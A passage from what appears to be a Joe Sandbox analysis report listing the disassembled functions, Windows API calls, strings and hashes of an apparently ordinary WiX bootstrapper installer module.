Part of subcall function 6C689FA8: SysFreeString.OLEAUT32(00000000), ref: 6C68A046

SysFreeString.OLEAUT32(00000001), ref: 6C6858C6
CompareStringW.KERNEL32(0000007F,00000000,00000001,000000FF,yes,000000FF,00000000,Overridable,00000001,00000000,00000000,00000001), ref: 6C6858F7
SysFreeString.OLEAUT32(00000001), ref: 6C685910
SysFreeString.OLEAUT32(00000001), ref: 6C685942

Strings

#(loc.%s), xrefs: 6C6858AA
yes, xrefs: 6C6858EA
Overridable, xrefs: 6C6858D3

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$Free$Variant$AllocClearCompareInit
String ID: #(loc.%s)$Overridable$yes
API String ID: 2861138797-597988432
Opcode ID: 711b036b19733029af895be1d162156969a48fb9924febfcda3e83ad84e9013c
Instruction ID: b2df9cf57bd86e7c22e2beefb564d35d858f5e9e94b703d4e5645100dd5c7cc9
Opcode Fuzzy Hash: 711b036b19733029af895be1d162156969a48fb9924febfcda3e83ad84e9013c
Instruction Fuzzy Hash: 4821B672902118FBDF119FA8CD448DDBAB8EB46229B2006A2F416B3550E3324F00DB6C

Function 6C681A1A Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadLocale.KERNEL32(?,00000000,?,00000000,mbapreq.wxl,?,00000000,00000000), ref: 6C681A8C

Strings

mbapreq.wxl, xrefs: 6C681A2E
Failed to localize confirm close message: %ls, xrefs: 6C681ABB
Failed to load loc file from path: %ls, xrefs: 6C681A79
#(loc.ConfirmCancelMessage), xrefs: 6C681A94
Failed to probe for loc file: %ls in path: %ls, xrefs: 6C681A54
thm.wxl, xrefs: 6C681A35, 6C681A41, 6C681A53

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: LocaleThread
String ID: #(loc.ConfirmCancelMessage)$Failed to load loc file from path: %ls$Failed to localize confirm close message: %ls$Failed to probe for loc file: %ls in path: %ls$mbapreq.wxl$thm.wxl
API String ID: 635194068-2078304381
Opcode ID: e899f49fdc38b90a488e7cea7e8739d50a33acae0eb527b3976e0bc1a9afdfca
Instruction ID: 6e8376e8a06ab4b08bdb9f89c8ce0390f8a5a8b442a3c3098833b6172412e82e
Opcode Fuzzy Hash: e899f49fdc38b90a488e7cea7e8739d50a33acae0eb527b3976e0bc1a9afdfca
Instruction Fuzzy Hash: 3911B473802625FBDB128A94CD81FDE76789F02798F150650F920BAA20D735DE148BFC

Function 6C681F45 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35
comregistrywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(6C697CE4,00000000,00000017,6C696734,?,?,6C684087,?), ref: 6C681F5D
RegisterWindowMessageW.USER32(TaskbarButtonCreated), ref: 6C681F7A
GetLastError.KERNEL32 ref: 6C681F8A

Strings

Failed to get TaskbarButtonCreated message. Continuing., xrefs: 6C681FA7
Failed to create ITaskbarList3. Continuing., xrefs: 6C681F6E
TaskbarButtonCreated, xrefs: 6C681F75

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CreateErrorInstanceLastMessageRegisterWindow
String ID: Failed to create ITaskbarList3. Continuing.$Failed to get TaskbarButtonCreated message. Continuing.$TaskbarButtonCreated
API String ID: 1594109290-758521254
Opcode ID: 5cffd01f288c7f1102aae887858c5cb7a5c361772e034fa63b9e29f5e2ff2568
Instruction ID: f8803d3aba28fa177ec1592c1aad836853db1af73b2f4d31771defecb7e92eb0
Opcode Fuzzy Hash: 5cffd01f288c7f1102aae887858c5cb7a5c361772e034fa63b9e29f5e2ff2568
Instruction Fuzzy Hash: 65F0827164B313AEE7100A31DD48BD576E85F05319F200A27F965F8950E729D4444E6D

Function 6C683B21 Relevance: 7.7, APIs: 5, Instructions: 196
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 6C683B2C
SetWindowLongW.USER32(?,000000EB,00000000), ref: 6C683B7B
PostQuitMessage.USER32(00000000), ref: 6C683C16
SetWindowLongW.USER32(?,000000EB,00000000), ref: 6C683C60
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6C683D75

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: LongWindow$Message$PostQuitSend
String ID:
API String ID: 1409866109-0
Opcode ID: 1027ea1ddd6535a969f35e6f3e7873dc404b45d39ec6f7a00ed1d3692cb60080
Instruction ID: 4dea6b67bb6831b8dc28092cfea291358968a40fad4ffcd00c76506cc29eb116
Opcode Fuzzy Hash: 1027ea1ddd6535a969f35e6f3e7873dc404b45d39ec6f7a00ed1d3692cb60080
Instruction Fuzzy Hash: 0E510C743CB911A7CB111E29CC58BED7A61EF43B68F100639F9219BED0CB64990186BD

Function 6C685A48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(mbapreq.wxl,?,?,?,?,?,6C681A4A,00000000,mbapreq.wxl,?,00000000,00000000), ref: 6C685AA5
GetSystemDefaultUILanguage.KERNEL32(00000000,00000000,00000000,00000000,00000000,?), ref: 6C685AF4

Part of subcall function 6C68A815: _memset.LIBCMT ref: 6C68A840
Part of subcall function 6C68A815: FindFirstFileW.KERNELBASE(00000000,?,%u\%ls,00000000,00000000), ref: 6C68A850
Part of subcall function 6C68A815: FindClose.KERNELBASE(00000000), ref: 6C68A85C

Strings

mbapreq.wxl, xrefs: 6C685A54
%u\%ls, xrefs: 6C685AB2, 6C685ABA, 6C685B04

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: DefaultFindLanguage$CloseFileFirstSystemUser_memset
String ID: %u\%ls$mbapreq.wxl
API String ID: 1176375609-3698500817
Opcode ID: 20fbbd915e6aca0b8270e508cbc8827f80430d698f84c4ce194f49df9fd56ebd
Instruction ID: 2ace9c452be4ee6633e059e9d948eef3a8c7ebe11dd8a51c7e392e0bc2841532
Opcode Fuzzy Hash: 20fbbd915e6aca0b8270e508cbc8827f80430d698f84c4ce194f49df9fd56ebd
Instruction Fuzzy Hash: EA316D72802129BFEF119EA5CC80CEEBBBDEB06244B1441A5FE12A7524E3314E50A77D

Function 6C689E79 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6C689E93
SysAllocString.OLEAUT32(00000000), ref: 6C689EA3
VariantClear.OLEAUT32(00000000), ref: 6C689F82

Strings

xmlutil.cpp, xrefs: 6C689EBB

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Variant$AllocClearInitString
String ID: xmlutil.cpp
API String ID: 2213243845-1270936966
Opcode ID: b752bea862f511f9526d6f38f8b1ffb33666499f952c4e61088e77c50cbd2692
Instruction ID: 073a49e989655204f00552b5feb28c1eef4bbc301ed8823e4bd718c82076ce60
Opcode Fuzzy Hash: b752bea862f511f9526d6f38f8b1ffb33666499f952c4e61088e77c50cbd2692
Instruction Fuzzy Hash: 4E41B572A01219AFCB00DFA9C8C8EDE7BB9AF46358F1545A5F816DB211DB30D901CB78

Function 6C6862CE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000024), ref: 6C6862DD
SetWindowTextW.USER32(00000000,6C69C028), ref: 6C6862EB
GetLastError.KERNEL32(?,?,6C6820B2,?,?,?,?,?,?,6C69C000,?,00000009,?,?,?,6C69C028), ref: 6C6862F5

Strings

thmutil.cpp, xrefs: 6C68631A

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorItemLastTextWindow
String ID: thmutil.cpp
API String ID: 1272195076-2961750086
Opcode ID: 93c7effbf24b5d8953605c401ae155c55f86ceb3cbd03392b6bb2142191db16f
Instruction ID: 920f62825f855f7e7d4bfcc5facdf4af515050b7a9cb9447d2cee765a369b5b4
Opcode Fuzzy Hash: 93c7effbf24b5d8953605c401ae155c55f86ceb3cbd03392b6bb2142191db16f
Instruction Fuzzy Hash: F7F0A732723613ABDB100F968C08E577FA8DF05B62F050124BB04DA650E635D8109BF9

Function 6C685BE6 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,String,00000000,00000000,00000000,?), ref: 6C685C13
GetLastError.KERNEL32 ref: 6C685C3F

Part of subcall function 6C685878: SysFreeString.OLEAUT32(00000001), ref: 6C6858C6
Part of subcall function 6C685878: CompareStringW.KERNEL32(0000007F,00000000,00000001,000000FF,yes,000000FF,00000000,Overridable,00000001,00000000,00000000,00000001), ref: 6C6858F7
Part of subcall function 6C685878: SysFreeString.OLEAUT32(00000001), ref: 6C685910
Part of subcall function 6C685878: SysFreeString.OLEAUT32(00000001), ref: 6C685942

Strings

locutil.cpp, xrefs: 6C685C5C, 6C685C8B
String, xrefs: 6C685BF5

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$Free$ErrorLast$Compare
String ID: String$locutil.cpp
API String ID: 1911231792-2823821818
Opcode ID: 757e976066f13a26fcfdb370f3cf447439e1e7c0ab1263deff28c1acd7ff0ae9
Instruction ID: 8765184b51ed4f48f7b83e997349317197e0eba097059f2c8b31716b9896e5fc
Opcode Fuzzy Hash: 757e976066f13a26fcfdb370f3cf447439e1e7c0ab1263deff28c1acd7ff0ae9
Instruction Fuzzy Hash: 5E418671A0260AABFB00DF65C884AAE7BF8EF05348F204469E816DBA50D734D945CF78

Function 6C6856D8 Relevance: 6.1, APIs: 4, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C6856FF
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 6C685714
LoadLibraryW.KERNELBASE(?,?,00000104,?), ref: 6C685762
GetLastError.KERNEL32 ref: 6C68576E

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: DirectoryErrorLastLibraryLoadSystem_memset
String ID:
API String ID: 1376650706-0
Opcode ID: 06c6e62ee305696fa7a8478d7a2df5c356511548b744c4046af993a5ddfe9194
Instruction ID: d668bd47a7f74b3169ae5b9e868337d7e7df5d6ec3a9d42b9d9a353740e338d9
Opcode Fuzzy Hash: 06c6e62ee305696fa7a8478d7a2df5c356511548b744c4046af993a5ddfe9194
Instruction Fuzzy Hash: E811D3B664230AABEF10DF658C88F8B37B89B82314F204175E526D7640EA34D6448B7C

Function 6C68AC36 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66memoryfilewindowCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010,00000000,00000000,7735E860,?,6C687C00,?,00000000,?,00000000,00000000,00000000,ImageFile,00000000,00000000,ImageResource), ref: 6C68AC61
GdipCreateBitmapFromFile.GDIPLUS(00000000,00000000,00000010,00000000,00000000,7735E860,?,6C687C00,?,00000000,?,00000000,00000000,00000000,ImageFile,00000000), ref: 6C68AC7D

Strings

gdiputil.cpp, xrefs: 6C68AC4D, 6C68AC9E, 6C68ACC5

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFileFrom
String ID: gdiputil.cpp
API String ID: 2762118622-3769319569
Opcode ID: d142822359c0d5444d5cd41980d444f45029a35e1f6ad1ef0da54c7a097c2b57
Instruction ID: b3293fdb0c92bb3023926fc5d8817ad6b9a2c1bf615b63bfe88a64a119016e96
Opcode Fuzzy Hash: d142822359c0d5444d5cd41980d444f45029a35e1f6ad1ef0da54c7a097c2b57
Instruction Fuzzy Hash: E711C432647216ABD7214E99C841F967398FF81F24F108515BD99AFBC0DB70D8008BBD

Function 6C6841A1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00004017,?,00000000,?), ref: 6C6841BC
GetLastError.KERNEL32 ref: 6C6841CC

Strings

WixStandardBootstrapperApplication.cpp, xrefs: 6C6841F1

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CreateErrorLastThread
String ID: WixStandardBootstrapperApplication.cpp
API String ID: 1689873465-3796977662
Opcode ID: 5042b7d66221d3210e13ab5e644975608860da3a9ef5539037a7847b262893b2
Instruction ID: 0af20fa2c648e7aebfd6ab2573a48512977fea2de0743be84e74c02f9784b942
Opcode Fuzzy Hash: 5042b7d66221d3210e13ab5e644975608860da3a9ef5539037a7847b262893b2
Instruction Fuzzy Hash: 70F0E27B6022027BE7108B578C58EBB3ABCDFD2765F040139F941D3600E6B4C9059AB8

Function 6C686EF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 6C686F0B
GetLastError.KERNEL32 ref: 6C686F15

Strings

thmutil.cpp, xrefs: 6C686F3A

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorFileLastRead
String ID: thmutil.cpp
API String ID: 1948546556-2961750086
Opcode ID: 93070edf6040ebfb72bddb21c48be4e87b1c2b10e2ad55cb2a6821ed4419d2c8
Instruction ID: bcd512751a2559dbe706cac0c98dac97b54c0f4aa14faaa5d5ed452dccb934f5
Opcode Fuzzy Hash: 93070edf6040ebfb72bddb21c48be4e87b1c2b10e2ad55cb2a6821ed4419d2c8
Instruction Fuzzy Hash: 62E065326231277BDB210E928D05F973E25EF027A1F044164B904EA650D765C8109BF9

Function 6C688311 Relevance: 4.6, APIs: 3, Instructions: 85windowCOMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 6C688378
ShowWindow.USER32(?,?,?,00000000,?,?,6C683132,?,?,00000000,?,?), ref: 6C68839A
SetFocus.USER32(00000000,?,00000000,?,?,6C683132,?,?,00000000,?), ref: 6C6883EB

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CallbackDispatcherFocusShowUserWindow
String ID:
API String ID: 334017688-0
Opcode ID: a8f29443a2f7e2d8588bf25a9729ccbafe3b5d94523c61c0a2a75089062a24cd
Instruction ID: 6109b29da90e9057e1056851cb9f0d5733d4cbcda4526d84d1b13a36418f3667
Opcode Fuzzy Hash: a8f29443a2f7e2d8588bf25a9729ccbafe3b5d94523c61c0a2a75089062a24cd
Instruction Fuzzy Hash: AB31C170507215EFDB11CF95C880AAE77B4FF09319F10852AFF5696A60D370EA80CA68

Function 6C6877FF Relevance: 4.5, APIs: 3, Instructions: 40COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 6C68780D
KiUserCallbackDispatcher.NTDLL(00000000,?), ref: 6C68783B
ShowWindow.USER32(00000000,?), ref: 6C687850

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CallbackDispatcherItemShowUserWindow
String ID:
API String ID: 3248985991-0
Opcode ID: 4ced10edf782883cb5be5b5ae05c078f6002fbb7be0da15fac05cfe19452d9cb
Instruction ID: 3232a0683bff2c31f2582abc59c74c886ba860bdc613bd4f7ad8ee16997c5978
Opcode Fuzzy Hash: 4ced10edf782883cb5be5b5ae05c078f6002fbb7be0da15fac05cfe19452d9cb
Instruction Fuzzy Hash: DFF0FC727026145BC7114F6ECC44D9BBBB9EFC67257514619F91687610C631D800C6A4

Function 6C68AA8E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GdiplusStartup.GDIPLUS(6C69C1F0,6C69D0F4,6C687102,00000000,?,6C687102,6C69C1F0,6C69D0F4,6C69D0EC), ref: 6C68AA9B

Strings

gdiputil.cpp, xrefs: 6C68AAAF

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: GdiplusStartup
String ID: gdiputil.cpp
API String ID: 2503201367-3769319569
Opcode ID: b3b37cacdb065ad2e5804313fd11e7a22a67be6663023ce1fbdc619a64ddbde9
Instruction ID: 809996b5e50a7e3354eaa331c106b447748d953ef9be968090a4eef0e5525c54
Opcode Fuzzy Hash: b3b37cacdb065ad2e5804313fd11e7a22a67be6663023ce1fbdc619a64ddbde9
Instruction Fuzzy Hash: 9FD05E3250622A77CF132AD69C04DCB7F1DEF026B4B044610BE046AA91D761C82097FD

Function 6C68AA67 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GdipDisposeImage.GDIPLUS(?), ref: 6C68AA76
GdipFree.GDIPLUS(?,?), ref: 6C68AA82

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Gdip$DisposeFreeImage
String ID:
API String ID: 1950503971-0
Opcode ID: 1bbc46cae68a201381ed380a94c6a982b56a9d0eb7eefc47974cca58faad1b20
Instruction ID: 695f0219e0d69eef49c96a8455d0cca60c91cb5178e67e96572223b964af9b8f
Opcode Fuzzy Hash: 1bbc46cae68a201381ed380a94c6a982b56a9d0eb7eefc47974cca58faad1b20
Instruction Fuzzy Hash: 85D022321052AA2AC2225F84C801BFABBCCDF13358F00402AED9042F10C7F1DC4083EE

Function 6C68A652 Relevance: 3.0, APIs: 2, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A663
RtlAllocateHeap.NTDLL(00000000,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A66A

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 3a7097531bd36cfcdacf5281bf366f0c9d0c680fd45becc3b2989e2f8c2a240c
Instruction ID: 3e1b9b4dd11004ff7303478692aa5666d94f2ef523dfa70212478a29e643aedc
Opcode Fuzzy Hash: 3a7097531bd36cfcdacf5281bf366f0c9d0c680fd45becc3b2989e2f8c2a240c
Instruction Fuzzy Hash: C2C01232290209BBCF015EF5CC49C853BBCAB15613B008501B505C6000C638E0548764

Function 6C682843 Relevance: 1.5, APIs: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00008066,00000000,?), ref: 6C68288B

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: c55c27c2513d9dbfaea7b116277510db78812115915a75baea2dee173e4a2122
Instruction ID: 539c70b7ba6474cb62b97f907c479b3129b92b59754f4585c9521b1ae747f5fe
Opcode Fuzzy Hash: c55c27c2513d9dbfaea7b116277510db78812115915a75baea2dee173e4a2122
Instruction Fuzzy Hash: 30F08272302B10ABCF214E028809B8B77B5EBC2B69F10402DE65656A50CB72A459CB6E

Function 6C682573 Relevance: 1.5, APIs: 1, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00008068,00000000,?), ref: 6C6825AE

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

